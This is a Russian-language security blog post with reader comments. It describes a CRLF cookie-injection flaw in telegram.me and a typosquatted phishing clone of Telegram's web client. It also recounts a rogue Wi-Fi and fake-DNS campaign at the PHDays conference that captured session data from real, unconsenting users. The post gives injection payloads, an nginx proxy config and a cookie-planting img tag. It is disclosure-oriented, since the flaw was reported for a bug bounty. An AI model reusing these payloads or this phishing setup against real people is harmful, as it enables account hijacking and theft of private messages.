Привет-привет!
Что такое telegram? Лично для меня, это самый настоящий прорыв среди месседжеров. Он реально удобный, кроссплатформенный, современный и безопасный. Все время развивается и улучшается, просто нет слов, чтобы передать радость от его использования! Каналы, боты, группы — это про него.
Даже если ты по каким-либо причинам не можешь установить (прекрасный) клиент, можешь воспользоваться официальной web-версией прямо в браузере! И сообщения там летают не открытым текстом, что даже при наличии установленных в операционную систему корневых сертификатах спецслужб затруднит перехват сообщений.
Помимо официального клиентов активно используется домен telegram.me. Он служит как ссылка на контакт, инвайт-ссылка для добавления в группу или канал (например мой), через него также можно добавить стикеры. Если пользователь аутентифицирован в веб-клиенте, то там присутствует кука stel_web_auth, которая отвечает, на какой домен перенаправлять пользователя.
Вот примеры запроса к telegram.me с кукой:
Запрос
GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost
Ответ
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:02:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=823678114; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000
Стоит заметить, что в куке присутствует возможность вставить \r\n символы, что позволяет подделать заголовки ответов от сервера, или, например, целый HTTP-пакет. А это ведет как минимум к XSS (привет Internet Explorer).
Обычно, в случае CRLF для демонстрации уязвимости ставят заголовок Set-cookie, который устанавливает куку. Но у меня CRLF инъекция уже через куку, поэтому обойдусь :))
Вот пример подделки заголовков:
Запрос
GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20
Ответ
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:23:31 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=1297301663; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost
Header1: ok
Header2: ok
other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000
Об этой особенности (и некоторых других) я писал разработчикам еще 2-го марта. Ну это каким тяжелым наркоманом надо быть, чтобы использовать Telegram в Internet Explorer’е (еще и в старом)?
Заметь, что присутствует заголовок Strict-Transport-Security, что не позволяет добраться до заветной печеньки, если пытаешься использовать MiTM-атаку (человек посередине), несмотря на то, что у куки нет флага Secure. Значит куку можно поставить с помощью XSS (нет флага HttpOnly), но я её так сходу не нашёл.
И тут я вспомнил про одну особенность современных веб-приложений. Поддомен (blabla.telegram.me) может поставить cookie на главный домен (telegram.me). Получится, конечно, не open redirect, а хитрое перенаправление на чужой домен, при использовании домена telegram.me
Для этого, мне нужно:
- Раздать свою Wi-Fi точку.
- Перенаправлять пользователей на несуществующий поддомен, который ставит куку.
- Заставить пользователя зайти на мой поддомен. С учетом первого шага — легко.
Когда пользователю кинут ссылку на приглашение, например, в группу — его перенаправит на фейковое приложение. Пробуем? Поехали!
Готовим фейк
Воспользовавшись утилитой urlcrazy я сгенерировал свободные домены подходящие для фейка. Отлично подошёл telergam.org. Телеграм достаточно сложное слово, чтобы можно было не заметить смену двух моноширных согласных посередине.
Взял облачный сервер на месяц и сделал фейк. Ну как сделал фейк. Я воспользовался проксированием с помощью nginx (привет @sergeybelove). Используя модуль proxy_pass можно настроить проксирование всех запросов на другой сайт, таким образом зашедший на мой ресурс видел содержимое другого сайта, целиком и полностью, включая изменения в реальном времени.
Вот полный конфиг «фейка» главного сайта telegram:
server {
listen 80; # слушаем 80 порт
server_name telergam.org; #на какой домен откликаемся
location / {
proxy_pass https://telegram.org; #проксируем сайт телеграма
}
А ещё используя модуль sub_filter можно заменять содержимое строки на произвольную. По образу и подобию было настроено проксирование на web.telegram, с некоторыми поправками — клиент отправлял на мой сервер текущий идентификатор сессии (и прочие данные из localStorage), номер телефона, браузер.
Что еще нужно для хорошей жизни? SSL! Ну продвинутые пользователи сразу заподозрят неладное, а присутствие «зеленого замочка» прибавляет к харизме фейку.
Поэтому регистрируем бесплатный аккаунт на cloudflare и получаем возможность закрыть от чужих глаз ip адрес сервера и заветный замочек 🙂
Теперь попробуй найти 10 отличий:
Но если посмотреть исходник, то там будет лишний js, который и отправляет данные жертвы на подконтрольный сервер
Positive Hack Days
Не так давно, на конференции ZeroNights я уже игрался с MiTM’ом, раздавая «бесплатный Wi-Fi», подрезая SSL и собирая трафик. На этот раз дамп трафика мне был уже неинтересен, поэтому основной целью была раздача волшебных печенек в браузеры пользователей.
Шаг 1. Wi-Fi
У нас было 2 wi-fi pineapple, 4500 потенциальных жертв, 3 альфы, несколько 8 dbi антенн и целое множество Wi-Fi карточек всех сортов и расцветок, а также MITMf, DNSspoof, Mana Toolkit, strip-n-inject и проксирующий сервак с фейковым dns-сервером. Не то что бы это был необходимый запас для поездки. Но если начал собирать оборудование для MITM’а, становится трудно остановиться. Единственное что вызывало у меня опасение — это BeEF. Нет ничего более беспомощного, безответственного и испорченного, чем XSS зомби. Я знал, что рано или поздно мы перейдем и на эту дрянь.
На помощь приходят «ананасы», это специальные устройства для атак с помощью поддельной Wi-Fi точки. На конференции было два этажа, а хотелось покрыть максимальное количество людей. К тому же раздавался официальный Wi-Fi с SSID «PHD», поэтому оставалось только запитать устройство. Отлично подошла розетка и место под столом на первом этаже.
Ананасу помощнее, на втором этаже, повезло больше — ему достался ethernet-кабель, поэтому раздавался быстрый и стабильный интернет. «Альфа» с ноутбуком (эту же пару я использовал на ZeroNights) кочевала со мной. Вдобавок, я хотел приспособить mr3040 с OpenWRT, но из-за количества людей и малой мощности я оставил эту идею.
Ещё из Питера привезли мощный роутер Xiaomi, но из-за нехватки времени на прошивку/настройку он так и остался лежать в коробке. Тем более покрытие было уже достаточным для успешной атаки.
Шаг второй. DNS
Задача — записать куку на telegram.me, поэтому на сервере я создал поддомен i.telegram.me и отвечал на любой запрос установкой куки (без контента). Думаю, отдавать DNS с помощью DHCP смысла не много, но на всякий случай поставил unbound и открыл его миру (чтобы подключались). Сразу после PHDays пришла абуза, кто-то успел засканить dns и DDoS’ил им .gov сайты.
Еще были использованы утилиты DNSMasqSpoof и DNSspoof. Первый вариант почему-то глючно работал, поэтому остался последний.
Шаг третий. Инъекция
На этот раз использовать sslstrip/sslsplit/hsts bypass не нужно. Да и зачем палиться? Чуть что, браузер начнет кричать на невалидность сертификата, а надо, чтоб он пользовался интернетом. При сёрфинге жертва скорее всего перейдет на http ресурс, а я тут как тут. Поэтому вконец документа вставлялся тег
<img src="http://i.telegram.me/" onerror=remove()>
Все просто — отправляется GET-запрос на несуществующий домен, но фейковый DNS отвечает нужным мне IP-адресом, в ответ от фейкового домена приходит заголовок с установкой cookie. Так как тег — изображение, срабатывает событие onerror и тег удаляется.
Ребята из Hardware Village преложили делать инъекцию BeEf’а, чтобы полностью контролировать браузер жертвы, потом выводить на телике кто попался (да-да, как на конференции BlackHat). Не было времени, но в следующий раз надо заняться.
Запрос
GET / HTTP/1.1
Host: i.telegram.me
Accept: */*
Ответ
HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 20 May 2016 22:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_web_auth=https%253A%252F%252Fweb.telergam.org%252F; expires=Sat, 20-May-2017 22:12:39 GMT; Max-Age=31536000; domain=.telegram.me
В результате, если пользователь зайдет на любой HTTP сайт используя мой Wi-Fi, его браузер будет «заражённым», и когда он будет переходить по ссылкам telegram.me — его будет перенаправлять на фейковую страницу аутентификации.
Результаты
А вот результаты я ожидал получше…
В первый день активной атаки (когда на конференции находится максимум народа) — никого. Никто не зашел. В середине конференции несколько внимательных зашли на страницы сниффера, полазили по фейкограму. Ближе к ночи был один вход. Ну хоть так…
Ещё один вход был пол второго ночи, его можно так же засчитать за первый день.
На второй день я пошел перепроверять оборудование, все ли работает как надо? Я пробовал сам запускать браузер — всё круто, кука ставится, telegram.me редиректит, лог входа пишется. Пару часов сидел и перепроверял, в чем же может быть проблема. Народ цеплялся. Большинство было с мобильных устройств, но и ноутбуки охотно подключались. На Hardware Village к инъекции был запущен mitmf (с respoder’ом), на всякий случай. Опять два входа и опять ночью.
Следующий день был рабочий. На выходные я решил написать эту статью, мол, ребятки, вот потенциальный способ массового взлома телеграм. Нет ничего хуже несбывшихся надежд. Вечером захотел убить сервак… Но…
Увидел в логах 13 входов в фейкограм в течении всего дня (первый в 12:22, последний в 18:29).
Отлично! Способ работает в долгосрочной перспективе, ведь никто не знает, когда пользователь воспользуется ссылкой! Куку я ставил на год, так что не удивлюсь, что кто-нибудь зайдет когда-нибудь зимой.
20 мая (два дня с конференции) — три входа
21 мая (на момент написания статьи) — ещё три
Выводы
Плюсы:
- Помните, когда сломали telegram журналистов? Там было очень явное палево — IP адреса взломщика, ведь telegram сообщает, с какого IP происходит вход. В этом случае IP адрес будет совпадать с адресом жертвы. А так как мы контролируем сам клиент, мы имеем доступ к переписке и возможность выполнять любые действия от имени жертвы.
- Даже если стоит двухфакторная аутентификация — не поможет.
- Кнопку выхода можем заменить на уничтожении сессионного идентификатора только на стороне жертвы, тем самым наблюдать за перепиской всё время, пока жертва не уничтожит активные сессии в настройках.
- Способ можно модифицировать и улучшить
Минусы:
- Пользователь вовсе может не зайти. Из 4500 человек на хакерской конференции пробив был менее 1%.
- Естественно, доступ к секретным чатам мы не получим.
- На невнимательных пользователей. Но лично я — не заметил бы.
- Если пользователь аутентифицируется в официальном веб-клиенте, кука перезапишется.
И всё же, telegram остается одним из самых лучших (и безопасных) месседжеров.
Ребята, чьи аккаунты я захватил: все делалось в рамках исследования, сообщения прочитаны не были, собранные данные будут уничтожены вместе с сервером.
Ещё увидимся 😉
P.S. Ребята из telegram, если вдруг увидите: сделайте плиз «избранное» контактов и чатов, чтоб не терялись. Спасибо!
UPD: со мной связались представители telegram, нашли мартовское письмо с багами (попало в спам). Попросили реквизиты для оплаты bugbounty 🙂
Что-то хренью попахивает.
Толку от кук с web.telegram.org нет.
Все данные для авторизации(authkey, session hash) хранятся в local storage браузера.
И даже если кто-то введет свой телефон. Вам все еще необходимо реализовать отправку пакета с получение кода.
Оттуда выдернуть хеш, получить код от пользователя. И только потом вы сможете использовать этот auth key(кстати, только со своим клиентом TG, либо разобрать хранилище существующих).
Итого — никакого взлома нет, а заголовок больше похож на желтуху.
>Толку от кук с web.telegram.org нет
Согласен, но я ничего не говорил про куки web.
>Все данные для авторизации(authkey, session hash) хранятся в local storage браузера.
А то! Вот я их себе отправил. Собственно, могу выполнить любые действия на стороне пользователя.
>И даже если кто-то введет свой телефон. Вам все еще необходимо реализовать отправку пакета с получение кода.
Оттуда выдернуть хеш, получить код от пользователя. И только потом вы сможете использовать этот auth key(кстати, только со своим клиентом TG, либо разобрать хранилище существующих).
Что? Зачем?) Так может зайдёшь?)
>Итого — никакого взлома нет
Итого — прост человек не разобрался 🙁
Итак, в статье я не увидел абсолютно ничего про вытаскивание данных из local storage.
>>На стороне пользователя
Серьезно? Тоже не увидел ни одного пункта по этому поводу.
Так сейчас и зайду:)
Хеш, который возвращется на запрос кода авторизации в студию:)
>в статье я не увидел абсолютно ничего про вытаскивание данных из local storage.
Внимательнее 🙂
Это делается одной строчкой.
>Серьезно? Тоже не увидел ни одного пункта по этому поводу.
Достаточно посмотреть на исходник фейка. На всякий случай отписал на указанную почту.
>Так сейчас и зайду:)
>Хеш, который возвращется на запрос кода авторизации в студию:)
Можно протестировать на сервисах вида (onlinesim.ru).
Я только что ввел свой номер. Сделал запрос на сервак телеграма для получения хэша, который клиент должен предоставить при введении кода аутентификации.
AsTx, да зайди ты уже наконец!)
Я отправляю данные после входа)
Побеседовали:)
Да, действительно отправляется localstorage.
Но в текущей конфигурации получить сообщения можно только спалив свой IP, который будет отображаться в списке сессий.
Можно слушать события app.js, в таком случае можно будет получать данные из пакетов TG, но это уже будет слегка геморно.
Назвать это взломом телеграма тяжело, скорее фишингом:)
Не могу не согласиться. Взлом аккаунтов телеграма через фишинг-атаку (используя некоторые особенности логики работы телеграмма) 🙂
Возможно сжелтил с заголовком, ну да ладно…
Что за чудная панель со списком клиентов?
WiFi pinneaple последней модели)
Стоит того?
А если просто подмену dns с основного сайта сделать и через nginx проксирование? Или все ради https?
Не совсем понял… Dns фейковый был для того, чтобы раздать куку. Кука — чтоб перенаправляла на фейк. Прокси-nginx, чтоб не делать кривой фейк.
Грац!
а можно с помощью sub_filter заменить содержимое не в HTML-документе, а ВО ВНЕШНЕМ javascripte ?
Добрый день! не совсем понятно, а каким образом юзеры при посещения любого http ресурса переадресовываются на i.telegram.me?